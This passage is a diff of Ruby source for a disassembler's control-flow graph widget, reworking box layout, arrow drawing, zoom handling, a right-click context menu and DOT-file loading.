-          # disconnected subgraph
-          g = unmarked.find { |g_| g_.from.empty? } || unmarked.first
-          trim[g, g.from]
-          maxdepth[g] = 0
-          walk[g]
-        end
-      end
-    }
-
-    # concat all ary boxes into its 1st element, remove trailing groups from 'groups'
-    # updates from/to
-    merge_groups = lambda { |ary|
-      bg = Box.new(nil, [])
-      bg.x, bg.y = ary.map { |g| g.x }.min, ary.map { |g| g.y }.min
-      bg.w, bg.h = ary.map { |g| g.x+g.w }.max - bg.x, ary.map { |g| g.y+g.h }.max - bg.y
-      ary.each { |g|
-        bg.content.concat g.content
-        bg.to |= g.to
-        bg.from |= g.from
-      }
-      bg.to -= ary
-      bg.to.each { |t| t.from = t.from - ary + [bg] }
-      bg.from -= ary
-      bg.from.each { |f| f.to = f.to - ary + [bg] }
-      idx = ary.map { |g| groups.index(g) }.min
-      groups = @groups = groups - ary
-      groups.insert(idx, bg)
-      bg
-    }
-
-    # move all boxes within group of dx, dy
-    move_group = lambda { |g, dx, dy|
-      g.content.each { |b| b.x += dx ; b.y += dy }
-      g.x += dx ; g.y += dy
-    }
-
-    align_hz = lambda { |ary|
-      # if we have one of the block much bigger than the others, put it on the far right
-      big = ary.sort_by { |g| g.h }.last
-      if (ary-[big]).all? { |g| g.h < big.h/3 }
-        ary -= [big]
-      else
-        big = nil
-      end
-      nx = ary.map { |g| g.w }.inject(0) { |a, b| a+b } / -2
-      nx *= 2 if big and ary.length == 1	# just put the parent on the separation of the 2 child
-      ary.each { |g|
-        move_group[g, nx-g.x, 0]
-        nx += g.w
-      }
-      move_group[big, nx-big.x, 0] if big
-    }
-    align_vt = lambda { |ary|
-      ny = ary.map { |g| g.h }.inject(0) { |a, b| a+b } / -2
-      ary.each { |g|
-        move_group[g, 0, ny-g.y]
-        ny += g.h
-      }
-    }
-
-    # scan groups for a column pattern (head has 1 'to' which from == [head])
-    group_columns = lambda {
-      groups.find { |g|
-        next if g.from.length == 1 and g.from.first.to.length == 1
-        ary = [g]
-        ary << (g = g.to.first) while g.to.length == 1 and g.to.first.from.length == 1
-        next if ary.length <= 1
-        align_vt[ary]
-        merge_groups[ary]
-        true
-      }
-    }
-
-    # scan groups for a line pattern (multiple groups with same to & same from)
-    group_lines = lambda { |strict|
-      if groups.all? { |g1| g1.from.empty? and g1.to.empty? }
-        # disjoint subgraphs
-        align_hz[groups]
-        merge_groups[groups]
-        next true
-      end
-
-      groups.find { |g1|
-        ary = g1.from.map { |gg| gg.to }.flatten.uniq.find_all { |gg|
-          gg != g1 and
-          (gg.from - g1.from).empty? and (g1.from - gg.from).empty? and
-          (strict ? ((gg.to - g1.to).empty? and (g1.to - gg.to).empty?) : (g1.to & gg.to).first)
-        }
-        ary = g1.to.map { |gg| gg.from }.flatten.uniq.find_all { |gg|
-          gg != g1 and
-          (gg.to - g1.to).empty? and (g1.to - gg.to).empty? and
-          (strict ? ((gg.from - g1.from).empty? and (g1.from - gg.from).empty?) : (g1.from & gg.from).first)
-        } if ary.empty?
-        next if ary.empty?
-        ary << g1
-        dy = 16*ary.map { |g| g.to.length + g.from.length }.inject { |a, b| a+b }
-        ary.each { |g| g.h += dy ; g.y -= dy/2 }
-        align_hz[ary]
-        if ary.first.to.empty?	# shrink graph if highly dissymetric and to.empty?
-          ah = ary.map { |g| g.h }.max
-          ary.each { |g|
-            move_group[g, 0, (g.h-ah)/2]	# move up
-            next if not p = ary[ary.index(g)-1]
-            y = [g.y, p.y].min		# shrink width
-            h = [g.h, p.h].min
-            xp = p.content.map { |b| b.x+b.w if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.max || p.x+p.w/2
-            xg = g.content.map { |b| b.x if b.y+b.h+8 >= y and b.y-8 <= y+h }.compact.min || g.x+g.w/2
-            dx = xg-xp-24
-            next if dx <= 0
-            ary.each { |gg|
-              dx = -dx if gg == g
-              move_group[gg, dx/2, 0]
-            }
-            if p.x+p.w > ary.last.x+ary.last.w or ary.first.x > g.x # fix broken centerism
-              x = [g.x, ary.first.x].min
-              xm = [p.x+p.w, ary.last.x+ary.last.w].max
-              ary.each { |gg| move_group[gg, (x+xm)/-2, 0] }
-            end
-          }
-        end
-        merge_groups[ary]
-        true
-      }
-    }
-
-    group_inv_if = {}
-
-    # scan groups for a if/then pattern (1 -> 2 -> 3 & 1 -> 3)
-    group_ifthen = lambda { |strict|
-      groups.reverse.find { |g|
-        next if not g2 = g.to.find { |g2_| (g2_.to.length == 1 and g.to.include?(g2_.to.first)) or
-          (not strict and g2_.to.empty?)  }
-        next if strict and g2.from != [g] or g.to.length != 2
-        g2.h += 16 ; g2.y -= 8
-        align_vt[[g, g2]]
-        dx = -g2.x+8
-        dx -= g2.w+16 if group_inv_if[g]
-        move_group[g2, dx, 0]
-        merge_groups[[g, g2]]
-        true
-      }
-    }
-
-    # if (a || b) c;
-    # the 'else' case handles '&& else', and && is two if/then nested
-    group_or = lambda { |strict|
-      groups.find { |g|
-        next if g.to.length != 2
-        g2 = g.to[0]
-        g2 = g.to[1] if not g2.to.include? g.to[1]
-        thn = (g.to & g2.to).first
-        next if g2.to.length != 2 or not thn or thn.to.length != 1
-        els = (g2.to - [thn]).first
-        if thn.to == [els]
-          els = nil
-        elsif els.to != thn.to
-          next if strict
-          align_vt[[g, g2]]
-          merge_groups[[g, g2]]
-          break true
-        else
-          align_hz[[thn, els]]
-          thn = merge_groups[[thn, els]]
-        end
-        thn.h += 16 ; thn.y -= 8
-        align_vt[[g, g2, thn]]
-        move_group[g2, -g2.x, 0]
-        move_group[thn, thn.x-8, 0] if not els
-        merge_groups[[g, g2, thn]]
-        true
-      }
-    }
-
-
-    # loop with exit 1 -> 2, 3 & 2 -> 1
-    group_loop = lambda {
-      groups.find { |g|
-        next if not g2 = g.to.sort_by { |g2_| g2_.h }.find { |g2_| g2_.to == [g] or (g2_.to.empty? and g2_.from == [g]) }
-        g2.h += 16
-        align_vt[[g, g2]]
-        move_group[g2, g2.x-8, 0]
-        merge_groups[[g, g2]]
-        true
-      }
-    }
-
-    # same single from or to
-    group_halflines = lambda {
-      ary = nil
-      if groups.find { |g| ary = g.from.find_all { |gg| gg.to == [g] } and ary.length > 1 } or
-         groups.find { |g| ary = g.to.find_all { |gg| gg.from == [g] } and ary.length > 1 }
-        align_hz[ary]
-        merge_groups[ary]
-        true
-      end
-    }
-
-
-    # unknown pattern, group as we can..
-    group_other = lambda {
-puts 'graph arrange: unknown configuration', dump_layout
-      g1 = groups.find_all { |g| g.from.empty? }
-      g1 << groups[rand(groups.length)] if g1.empty?
-      g2 = g1.map { |g| g.to }.flatten.uniq - g1
-      align_vt[g1]
-      g1 = merge_groups[g1]
-      g1.w += 128 ; g1.x -= 64
-      next if g2.empty?
-      align_vt[g2]
-      g2 = merge_groups[g2]
-      g2.w += 128 ; g2.x -= 64
-
-      align_hz[[g1, g2]]
-      merge_groups[[g1, g2]]
-      true
-    }
-
-    # check constructs with multiple blocks with to to end block (a la break;)
-    ign_break = lambda {
-      can_reach = lambda { |b1, b2, term|
-        next if b1 == term
-        done = [term]
-        todo = b1.to.dup
-        while t = todo.pop
-          next if done.include? t
-          done << t
-          break true if t == b2
-          todo.concat t.to
-        end
-      }
-      can_reach_unidir = lambda { |b1, b2, term| can_reach[b1, b2, term] and not can_reach[b2, b1, term] }
-      groups.find { |g|
-        f2 = nil
-        if (g.from.length > 2 and f3 = g.from.find { |f| f.to == [g] } and f1 = g.from.find { |f|
-          f2 = g.from.find { |ff| can_reach_unidir[ff, f3, g] and can_reach_unidir[f, ff, g] }}) or
-           (g.to.length > 2 and f3 = g.to.find { |f| f.from == [g] } and f1 = g.to.find { |f|
-          f2 = g.to.find { |ff| can_reach_unidir[f3, ff, g] and can_reach_unidir[ff, f, g] }})
-          group_inv_if[f1] = true
-          if f3.to == [g]
-            g.from.delete f2
-            f2.to.delete g
-          else
-            g.to.delete f2
-            f2.from.delete g
-          end
-          true
-        end
-      }
-    }
-
-    # walk graph from roots, cut backward links
-    trim_graph = lambda {
-      next true if ign_break[]
-      g1 = groups.find_all { |g| g.from.empty? }
-      g1 << groups.first if g1.empty?
-      cntpre = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length }
-      g1.each { |g| maketree[[g]] }
-      cntpost = groups.inject(0) { |cntpre_, g| cntpre_ + g.to.length }
-      true if cntpre != cntpost
-    }
-
-    # known, clean patterns
-    group_clean = lambda {
-      group_columns[] or group_lines[true] or group_ifthen[true] or group_loop[] or group_or[true]
-    }
-    # approximations
-    group_unclean = lambda {
-      group_lines[false] or group_or[false] or group_halflines[] or group_ifthen[false] or group_other[]
-    }
-
-    group_clean[] or trim_graph[] or group_unclean[]
-  end
-
-  # the boxes have been almost put in place, here we soften a little the result & arrange some qwirks
   def auto_arrange_post
-    # entrypoint should be above other boxes, same for exitpoints
-    @box.each { |b|
-      if b.from == []
-        chld = b.to
-        chld = @box - [b] if not @box.find { |bb| bb != b and bb.from == [] }
-        chld.each { |t| b.y = t.y - b.h - 16 if t.y < b.y+b.h }
-      end
-      if b.to == []
-        chld = b.from
-        chld = @box - [b] if not @box.find { |bb| bb != b and bb.to == [] }
-        chld.each { |f| b.y = f.y + f.h + 16 if f.y+f.h > b.y }
-      end
-    }
+    auto_arrange_movebox
+    #auto_arrange_vertical_shrink
+  end
 
-    boxxy = @box.sort_by { |bb| bb.y }
-    # fill gaps that we created
-    @box.each { |b|
-      bottom = b.y+b.h
-      next if not follower = boxxy.find { |bb| bb.y+bb.h > bottom }
-
-      # preserve line[] constructs margins
-      gap = follower.y-16*follower.from.length - (bottom+16*b.to.length)
-      next if gap <= 0
-
-      @box.each { |bb|
-        if bb.y+bb.h <= bottom
-          bb.y += gap/2
-        else
-          bb.y -= gap/2
-        end
+  # actually move boxes inside the groups
+  def auto_arrange_movebox
+    @groups.each { |g|
+      dx = (g.x + g.w/2).to_i
+      dy = (g.y + g.h/2).to_i
+      g.content.each { |b|
+        b.x += dx
+        b.y += dy
       }
-      boxxy = @box.sort_by { |bb| bb.y }
-    }
-
-    @box[0,0].each { |b|
-      # TODO elastic positionning (ignore up arrows ?) & collision detection (box/box + box/arrow)
-      f = b.from[0]
-      t = b.to[0]
-      if b.to.length == 1 and b.from.length == 1 and b.y+b.h<t.y and b.y>f.y+f.h
-        wx = (t.x+t.w/2 + f.x+f.w/2)/2 - b.w/2
-        wy = (t.y + f.y+f.h)/2 - b.h/2
-        b.x += (wx-b.x)/5
-        b.y += (wy-b.y)/5
-      end
+    }
+  end
+
+  def auto_arrange_vertical_shrink
+    # vertical shrink
+    # TODO stuff may shrink vertically more if we could move it slightly horizontally...
+    @box.sort_by { |b| b.y }.each { |b|
+
+      next if b.from.empty?
+      # move box up to its from, unless something blocks the way
+
+      min_y = b.from.map { |bb|
+          bb.y+bb.h
+        }.find_all { |by|
+          by <= b.y
+        }.max
+
+      moo = []
+      moo << 8*b.from.length
+      moo << 8*b.from[0].to.length
+      cx = b.x+b.w/2
+      moo << b.from.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10
+      cx = b.from[0].x+b.from[0].w/2
+      moo << b.from[0].to.map { |bb| (cx - (bb.x+bb.w/2)).abs }.max / 10
+      margin_y = 16 + moo.max
+
+      next if not min_y or b.y <= min_y + margin_y
+
+      blocking = @box.find_all { |bb|
+          next if bb == b
+          bb.y+bb.h > min_y and bb.y+bb.h < b.y and
+          bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x
+        }
+
+      may_y = blocking.map { |bb| bb.y+bb.h } << min_y
+
+      do_y = may_y.sort.map { |by| by + margin_y }.find { |by|
+        # should not collision with b if moved to by+margin_y
+        not blocking.find { |bb|
+          bb.x-12 < b.x+b.w and bb.x+bb.w+12 > b.x and
+          bb.y-12 < by+b.h and bb.y+bb.h+12 > by
+        }
+      }
+
+      b.y = do_y if do_y < b.y
+
+      # no need to re-sort outer loop
     }
 
+    # TODO
+    # energy-minimal positionning of boxes from this basic layout
+    # avoid arrow confusions
   end
 
   def auto_arrange_boxes
     auto_arrange_init
     nil while @groups.length > 1 and auto_arrange_step
-    @groups = []
     auto_arrange_post
+    @groups = []
+  end
+
+  # gives a text representation of the current graph state
+  def dump_layout(groups=@groups)
+    groups.map { |g| "#{groups.index(g)} -> #{g.to.map { |t| groups.index(t) }.sort.inspect}" }
   end
 end
 
@@ -488,23 +758,27 @@ class GraphViewWidget < DrawableWidget
     @shown_boxes = []
     @mousemove_origin = @mousemove_origin_ctrl = nil
     @curcontext = Graph.new(nil)
+    @want_focus_addr = nil
     @margin = 8
     @zoom = 1.0
-    @default_color_association = { :background => :paleblue, :hlbox_bg => :palegrey, :box_bg => :white,
-        :text => :black, :arrow_hl => :red, :comment => :darkblue, :address => :darkblue,
-        :instruction => :black, :label => :darkgreen, :caret => :black, :hl_word => :palered,
-        :cursorline_bg => :paleyellow, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue,
-               :arrow_direct => :darkred }
+    @default_color_association = ColorTheme.merge :hlbox_bg => :palegrey, :box_bg => :white,
+        :arrow_hl => :red, :arrow_cond => :darkgreen, :arrow_uncond => :darkblue,
+        :arrow_direct => :darkred, :box_bg_shadow => :black, :background => :paleblue
     # @othergraphs = ?	(to keep user-specified formatting)
   end
 
+  def view_x; @curcontext.view_x; end
+  def view_x=(vx); @curcontext.view_x = vx; end
+  def view_y; @curcontext.view_y; end
+  def view_y=(vy); @curcontext.view_y = vy; end
+
   def resized(w, h)
     redraw
   end
 
   def find_box_xy(x, y)
-    x = @curcontext.view_x+x/@zoom
-    y = @curcontext.view_y+y/@zoom
+    x = view_x+x/@zoom
+    y = view_y+y/@zoom
     @shown_boxes.to_a.reverse.find { |b| b.x <= x and b.x+b.w > x and b.y <= y-1 and b.y+b.h > y+1 }
   end
 
@@ -512,6 +786,7 @@ class GraphViewWidget < DrawableWidget
     case dir
     when :up
       if @zoom < 100
+        # zoom in
         oldzoom = @zoom
         @zoom *= 1.1
         @zoom = 1.0 if (@zoom-1.0).abs < 0.05
@@ -519,7 +794,8 @@ class GraphViewWidget < DrawableWidget
         @curcontext.view_y += (y / oldzoom - y / @zoom)
       end
     when :down
-      if @zoom > 1.0/100
+      if @zoom > 1.0/1000
+        # zoom out
         oldzoom = @zoom
         @zoom /= 1.1
         @zoom = 1.0 if (@zoom-1.0).abs < 0.05
@@ -557,10 +833,10 @@ class GraphViewWidget < DrawableWidget
     @mousemove_origin = nil
 
     if @mousemove_origin_ctrl
-      x1 = @curcontext.view_x + @mousemove_origin_ctrl[0]/@zoom
+      x1 = view_x + @mousemove_origin_ctrl[0]/@zoom
       x2 = x1 + (x - @mousemove_origin_ctrl[0])/@zoom
       x1, x2 = x2, x1 if x1 > x2
-      y1 = @curcontext.view_y + @mousemove_origin_ctrl[1]/@zoom
+      y1 = view_y + @mousemove_origin_ctrl[1]/@zoom
       y2 = y1 + (y - @mousemove_origin_ctrl[1])/@zoom
       y1, y2 = y2, y1 if y1 > y2
       @selected_boxes |= @curcontext.box.find_all { |b| b.x >= x1 and b.x + b.w <= x2 and b.y >= y1 and b.y + b.h <= y2 }
@@ -587,8 +863,8 @@ class GraphViewWidget < DrawableWidget
     if b = find_box_xy(x, y)
       @selected_boxes = [b] if not @selected_boxes.include? b
       @caret_box = b
-      @caret_x = (@curcontext.view_x+x/@zoom-b.x-1).to_i / @font_width
-      @caret_y = (@curcontext.view_y+y/@zoom-b.y-1).to_i / @font_height
+      @caret_x = (view_x+x/@zoom-b.x-1).to_i / @font_width
+      @caret_y = (view_y+y/@zoom-b.y-1).to_i / @font_height
       update_caret
     else
       @selected_boxes = []
@@ -597,22 +873,43 @@ class GraphViewWidget < DrawableWidget
     redraw
   end
 
+  def setup_contextmenu(b, m)
+    cm = new_menu
+    addsubmenu(cm, 'copy _word') { clipboard_copy(@hl_word) if @hl_word }
+    addsubmenu(cm, 'copy _line') { clipboard_copy(@caret_box[:line_text_col][@caret_y].map { |ss, cc| ss }.join) }
+    addsubmenu(cm, 'copy _box')  {
+      sb = @selected_boxes
+      sb = [@curbox] if sb.empty?
+      clipboard_copy(sb.map { |ob| ob[:line_text_col].map { |s| s.map { |ss, cc| ss }.join + "\r\n" }.join }.join("\r\n"))
+    }	# XXX auto \r\n vs \n
+    addsubmenu(m, '_clipboard', cm)
+    addsubmenu(m, 'clone _window') { @parent_widget.clone_window(@hl_word, :graph) }
+    addsubmenu(m, 'show descendants only') { hide_non_descendants(@selected_boxes) }
+    addsubmenu(m, 'show ascendants only') { hide_non_ascendants(@selected_boxes) }
+    addsubmenu(m, 'restore graph') { gui_update }
+  end
+
   # if the target is a call to a subfunction, open a new window with the graph of this function (popup)
   def rightclick(x, y)
     if b = find_box_xy(x, y) and @zoom >= 0.90 and @zoom <= 1.1
       click(x, y)
       @mousemove_origin = nil
-      @parent_widget.clone_window(@hl_word, :graph)
+      m = new_menu
+      setup_contextmenu(b, m)
+      if @parent_widget.respond_to?(:extend_contextmenu)
+        @parent_widget.extend_contextmenu(self, m, @caret_box[:line_address][@caret_y])
+      end
+      popupmenu(m, x, y)
     end
   end
 
   def doubleclick(x, y)
+    @mousemove_origin = nil
     if b = find_box_xy(x, y)
-      @mousemove_origin = nil
       if @hl_word and @zoom >= 0.90 and @zoom <= 1.1
         @parent_widget.focus_addr(@hl_word)
       else
-        @parent_widget.focus_addr b[:addresses].first
+        @parent_widget.focus_addr((b[:addresses] || b[:line_address]).first)
       end
     elsif doubleclick_check_arrow(x, y)
     elsif @zoom == 1.0
@@ -628,20 +925,21 @@ class GraphViewWidget < DrawableWidget
   # check if the user clicked on the beginning/end of an arrow, if so focus on the other end
   def doubleclick_check_arrow(x, y)
     return if @margin*@zoom < 2
-    x = @curcontext.view_x+x/@zoom
-    y = @curcontext.view_y+y/@zoom
+    x = view_x+x/@zoom
+    y = view_y+y/@zoom
     sx = nil
     if bt = @shown_boxes.to_a.reverse.find { |b|
       y >= b.y+b.h-1 and y <= b.y+b.h-1+@margin+2 and
       sx = b.x+b.w/2 - b.to.length/2 * @margin/2 and
-             x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2	# should be margin/4, but add a little comfort margin
+      x >= sx-@margin/2 and x <= sx+b.to.length*@margin/2	# should be margin/4, but add a little comfort margin
     }
       idx = (x-sx+@margin/4).to_i / (@margin/2)
       idx = 0 if idx < 0
       idx = bt.to.length-1 if idx >= bt.to.length
       if bt.to[idx]
         if @parent_widget
-      @parent_widget.focus_addr bt.to[idx][:line_address][0]
+          @caret_box, @caret_y = bt, bt[:line_address].length-1
+          @parent_widget.focus_addr bt.to[idx][:line_address][0]
         else
           focus_xy(bt.to[idx].x, bt.to[idx].y)
         end
@@ -650,14 +948,15 @@ class GraphViewWidget < DrawableWidget
     elsif bf = @shown_boxes.to_a.reverse.find { |b|
       y >= b.y-@margin-2 and y <= b.y and
       sx = b.x+b.w/2 - b.from.length/2 * @margin/2 and
-             x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2
+      x >= sx-@margin/2 and x <= sx+b.from.length*@margin/2
     }
       idx = (x-sx+@margin/4).to_i / (@margin/2)
       idx = 0 if idx < 0
       idx = bf.from.length-1 if idx >= bf.from.length
       if bf.from[idx]
         if @parent_widget
-      @parent_widget.focus_addr bf.from[idx][:line_address][-1]
+          @caret_box, @caret_y = bf, bf[:line_address].length-1
+          @parent_widget.focus_addr bf.from[idx][:line_address][-1]
         else
           focus_xy(bt.from[idx].x, bt.from[idx].y)
         end
@@ -668,10 +967,12 @@ class GraphViewWidget < DrawableWidget
 
   # update the zoom & view_xy to show the whole graph in the window
   def zoom_all
-    minx = @curcontext.box.map { |b| b.x }.min.to_i - 10
-    miny = @curcontext.box.map { |b| b.y }.min.to_i - 10
-    maxx = @curcontext.box.map { |b| b.x + b.w }.max.to_i + 10
-    maxy = @curcontext.box.map { |b| b.y + b.h }.max.to_i + 10
+    minx, miny, maxx, maxy = @curcontext.boundingbox
+    minx -= @margin
+    miny -= @margin
+    maxx += @margin
+    maxy += @margin
+
     @zoom = [width.to_f/(maxx-minx), height.to_f/(maxy-miny)].min
     @zoom = 1.0 if @zoom > 1.0 or (@zoom-1.0).abs < 0.1
     @curcontext.view_x = minx + (maxx-minx-width/@zoom)/2
@@ -699,9 +1000,10 @@ class GraphViewWidget < DrawableWidget
     }
 
     @shown_boxes = []
-    w_w, w_h = width, height
+    w_w = width
+    w_h = height
     @curcontext.box.each { |b|
-      next if b.x >= @curcontext.view_x+w_w/@zoom or b.y >= @curcontext.view_y+w_h/@zoom or b.x+b.w <= @curcontext.view_x or b.y+b.h <= @curcontext.view_y
+      next if b.x >= view_x+w_w/@zoom or b.y >= view_y+w_h/@zoom or b.x+b.w <= view_x or b.y+b.h <= view_y
       @shown_boxes << b
       paint_box(b)
     }
@@ -720,9 +1022,10 @@ class GraphViewWidget < DrawableWidget
   end
 
   def paint_arrow(b1, b2)
-    x1, y1 = b1.x+b1.w/2-@curcontext.view_x, b1.y+b1.h-@curcontext.view_y
-    x2, y2 = b2.x+b2.w/2-@curcontext.view_x, b2.y-1-@curcontext.view_y
-    x1o, x2o = x1, x2
+    x1 = x1o = b1.x+b1.w/2-view_x
+    y1 = b1.y+b1.h-view_y
+    x2 = x2o = b2.x+b2.w/2-view_x
+    y2 = b2.y-1-view_y
     margin = @margin
     x1 += (-(b1.to.length-1)/2 + b1.to.index(b2)) * margin/2
     x2 += (-(b2.from.length-1)/2 + b2.from.index(b1)) * margin/2
@@ -730,12 +1033,6 @@ class GraphViewWidget < DrawableWidget
     margin, x1, y1, x2, y2, b1w, b2w, x1o, x2o = [margin, x1, y1, x2, y2, b1.w, b2.w, x1o, x2o].map { |v| v*@zoom }
 
 
-    # XXX gtk wraps coords around 0x8000
-    if x1.abs > 0x7000 ; y1 /= x1.abs/0x7000 ; x1 /= x1.abs/0x7000 ; end
-    if y1.abs > 0x7000 ; x1 /= y1.abs/0x7000 ; y1 /= y1.abs/0x7000 ; end
-    if x2.abs > 0x7000 ; y2 /= x2.abs/0x7000 ; x2 /= x2.abs/0x7000 ; end
-    if y2.abs > 0x7000 ; x2 /= y2.abs/0x7000 ; y2 /= y2.abs/0x7000 ; end
-
     # straighten vertical arrows if possible
     if y2 > y1 and (x1-x2).abs <= margin
       if b1.to.length == 1
@@ -755,26 +1052,13 @@ class GraphViewWidget < DrawableWidget
       y1 += margin
       y2 -= margin-1
     end
-    if y2+margin >= y1-margin-1
-      # straight vertical down arrow
+
+    if y2 > y1 - b1.h*@zoom - 2*margin+1
+      # straight arrow
       draw_line(x1, y1, x2, y2) if x1 != y1 or x2 != y2
 
-    # else arrow up, need to sneak around boxes
-    elsif x1o-b1w/2-margin >= x2o+b2w/2+margin	# z
-      draw_line(x1, y1, x1o-b1w/2-margin, y1)
-      draw_line(x1o-b1w/2-margin, y1, x2o+b2w/2+margin, y2)
-      draw_line(x2o+b2w/2+margin, y2, x2, y2)
-      draw_line(x1, y1+1, x1o-b1w/2-margin, y1+1) # double
-      draw_line(x1o-b1w/2-margin+1, y1, x2o+b2w/2+margin+1, y2)
-      draw_line(x2o+b2w/2+margin, y2+1, x2, y2+1)
-    elsif x1+b1w/2+margin <= x2-b2w/2-margin	# invert z
-      draw_line(x1, y1, x1o+b1w/2+margin, y1)
-      draw_line(x1o+b1w/2+margin, y1, x2o-b2w/2-margin, y2)
-      draw_line(x2o-b2w/2-margin, y2, x2, y2)
-      draw_line(x1, y1+1, x1+b1w/2+margin, y1+1) # double
-      draw_line(x1o+b1w/2+margin+1, y1, x2o-b2w/2-margin+1, y2)
-      draw_line(x2o-b2w/2-margin, y2+1, x2, y2+1)
-    else						# turn around
+    else
+      # arrow goes up: navigate around b2
       x = (x1 <= x2 ? [x1o-b1w/2-margin, x2o-b2w/2-margin].min : [x1o+b1w/2+margin, x2o+b2w/2+margin].max)
       draw_line(x1, y1, x, y1)
       draw_line(x, y1, x, y2)
@@ -786,7 +1070,7 @@ class GraphViewWidget < DrawableWidget
   end
 
   def set_color_boxshadow(b)
-    draw_color :black
+    draw_color :box_bg_shadow
   end
 
   def set_color_box(b)
@@ -799,28 +1083,29 @@ class GraphViewWidget < DrawableWidget
 
   def paint_box(b)
     set_color_boxshadow(b)
-    draw_rectangle((b.x-@curcontext.view_x+3)*@zoom, (b.y-@curcontext.view_y+4)*@zoom, b.w*@zoom, b.h*@zoom)
+    draw_rectangle((b.x-view_x+3)*@zoom, (b.y-view_y+4)*@zoom, b.w*@zoom, b.h*@zoom)
     set_color_box(b)
-    draw_rectangle((b.x-@curcontext.view_x)*@zoom, (b.y-@curcontext.view_y+1)*@zoom, b.w*@zoom, b.h*@zoom)
+    draw_rectangle((b.x-view_x)*@zoom, (b.y-view_y+1)*@zoom, b.w*@zoom, b.h*@zoom)
 
     # current text position
-    x = (b.x - @curcontext.view_x + 1)*@zoom
-    y = (b.y - @curcontext.view_y + 1)*@zoom
-    w_w = (b.x - @curcontext.view_x + b.w - @font_width)*@zoom
-    w_h = (b.y - @curcontext.view_y + b.h - @font_height)*@zoom
+    x = (b.x - view_x + 1)*@zoom
+    y = (b.y - view_y + 1)*@zoom
+    w_w = (b.x - view_x + b.w - @font_width)*@zoom
+    w_h = (b.y - view_y + b.h - @font_height)*@zoom
+    w_h = height if w_h > height
 
     if @parent_widget and @parent_widget.bg_color_callback
       ly = 0
       b[:line_address].each { |a|
         if c = @parent_widget.bg_color_callback[a]
-          draw_rectangle_color(c, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil)
+          draw_rectangle_color(c, (b.x-view_x)*@zoom, (1+b.y-view_y+ly*@font_height)*@zoom, b.w*@zoom, (@font_height*@zoom).ceil)
         end
         ly += 1
       }
     end
 
     if @caret_box == b
-      draw_rectangle_color(:cursorline_bg, (b.x-@curcontext.view_x)*@zoom, (1+b.y-@curcontext.view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom)
+      draw_rectangle_color(:cursorline_bg, (b.x-view_x)*@zoom, (1+b.y-view_y+@caret_y*@font_height)*@zoom, b.w*@zoom, @font_height*@zoom)
     end
 
     return if @zoom < 0.99 or @zoom > 1.1
@@ -829,33 +1114,22 @@ class GraphViewWidget < DrawableWidget
     # renders a string at current cursor position with a color
     # must not include newline
     render = lambda { |str, color|
-      # function ends when we write under the bottom of the listing
       next if y >= w_h+2 or x >= w_w
-      if @hl_word
-        stmp = str
-        pre_x = 0
-        while stmp =~ /^(.*?)(\b#{Regexp.escape @hl_word}\b)/
-          s1, s2 = $1, $2
-          pre_x += s1.length * @font_width
-          hl_x = s2.length * @font_width
-          draw_rectangle_color(:hl_word, x+pre_x, y, hl_x, @font_height*@zoom)
-          pre_x += hl_x
-          stmp = stmp[s1.length+s2.length..-1]
-        end
-      end
-      draw_string_color(color, x, y, str)
+      draw_string_hl(color, x, y, str)
       x += str.length * @font_width
     }
 
+    yoff = @font_height * @zoom
     b[:line_text_col].each { |list|
-      list.each { |s, c| render[s, c] }
-      x = (b.x - @curcontext.view_x + 1)*@zoom
-      y += @font_height*@zoom
+      list.each { |s, c| render[s, c] } if y >= -yoff
+      x = (b.x - view_x + 1)*@zoom
+      y += yoff
+      break if y > w_h+2
     }
 
     if b == @caret_box and focus?
-      cx = (b.x - @curcontext.view_x + 1 + @caret_x*@font_width)*@zoom
-      cy = (b.y - @curcontext.view_y + 1 + @caret_y*@font_height)*@zoom
+      cx = (b.x - view_x + 1 + @caret_x*@font_width)*@zoom
+      cy = (b.y - view_y + 1 + @caret_y*@font_height)*@zoom
       draw_line_color(:caret, cx, cy, cx, cy+(@font_height-1)*@zoom)
     end
   end
@@ -894,33 +1168,33 @@ class GraphViewWidget < DrawableWidget
   end
 
   def load_dotfile(path)
+    load_dot(File.read(path))
+  end
+
+  def load_dot(dota)
     @want_update_graph = false
     @curcontext.clear
     boxes = {}
     new_box = lambda { |text|
       b = @curcontext.new_box(text, :line_text_col => [[[text, :text]]])
-      b.w = text.length * @font_width
+      b.w = (text.length+1) * @font_width
       b.h = @font_height
       b
     }
-    max = File.size(path)
-    i = 0
-    File.open(path) { |fd|
-      while l = fd.gets
-        case l.strip
-        when /^"?(\w+)"?\s*->\s*"?(\w+)"?;?$/
-          b1 = boxes[$1] ||= new_box[$1]
-          b2 = boxes[$2] ||= new_box[$2]
-          b1.to   |= [b2]
-          b2.from |= [b1]
-        end
-$stderr.printf("%.02f\r" % (fd.pos*100.0/max))  if (i += 1) & 0xff == 0
+    dota.scan(/^.*$/) { |l|
+      a = l.strip.chomp(';').split(/->/).map { |s| s.strip.delete '"' }
+      next if not id = a.shift
+      b0 = boxes[id] ||= new_box[id]
+      while id = a.shift
+        b1 = boxes[id] ||= new_box[id]
+        b0.to   |= [b1]
+        b1.from |= [b0]
+        b0 = b1
       end
     }
-p boxes.length
     redraw
-rescue Interrupt
-p boxes.length
+  rescue Interrupt
+    puts "dot_len #{boxes.length}"
   end
 
   # create the graph objects in ctx
@@ -1009,7 +1283,7 @@ p boxes.length
             }
           end
           render["#{Expression[curaddr]}   ", :address] if @show_addresses
-          render[di.instruction.to_s.ljust(di.comment ? 24 : 0), :instruction]
+          render[di.instruction.to_s.ljust(di.comment ? 18 : 0), :instruction]
           render[' ; ' + di.comment.join(' ')[0, 64], :comment] if di.comment
           nl[]
         else
@@ -1042,6 +1316,8 @@ p boxes.length
         }
         @parent_widget.list_bghilight("search result for /#{pat}/i", list) { |i| @parent_widget.focus_addr i[0] }
       }
+    when ?+; mouse_wheel_ctrl(:up, width/2, height/2)
+    when ?-; mouse_wheel_ctrl(:down, width/2, height/2)
     else return false
     end
     true
@@ -1135,16 +1411,18 @@ p boxes.length
       end
     when :pgup
       if @caret_box
-        @caret_y = 0
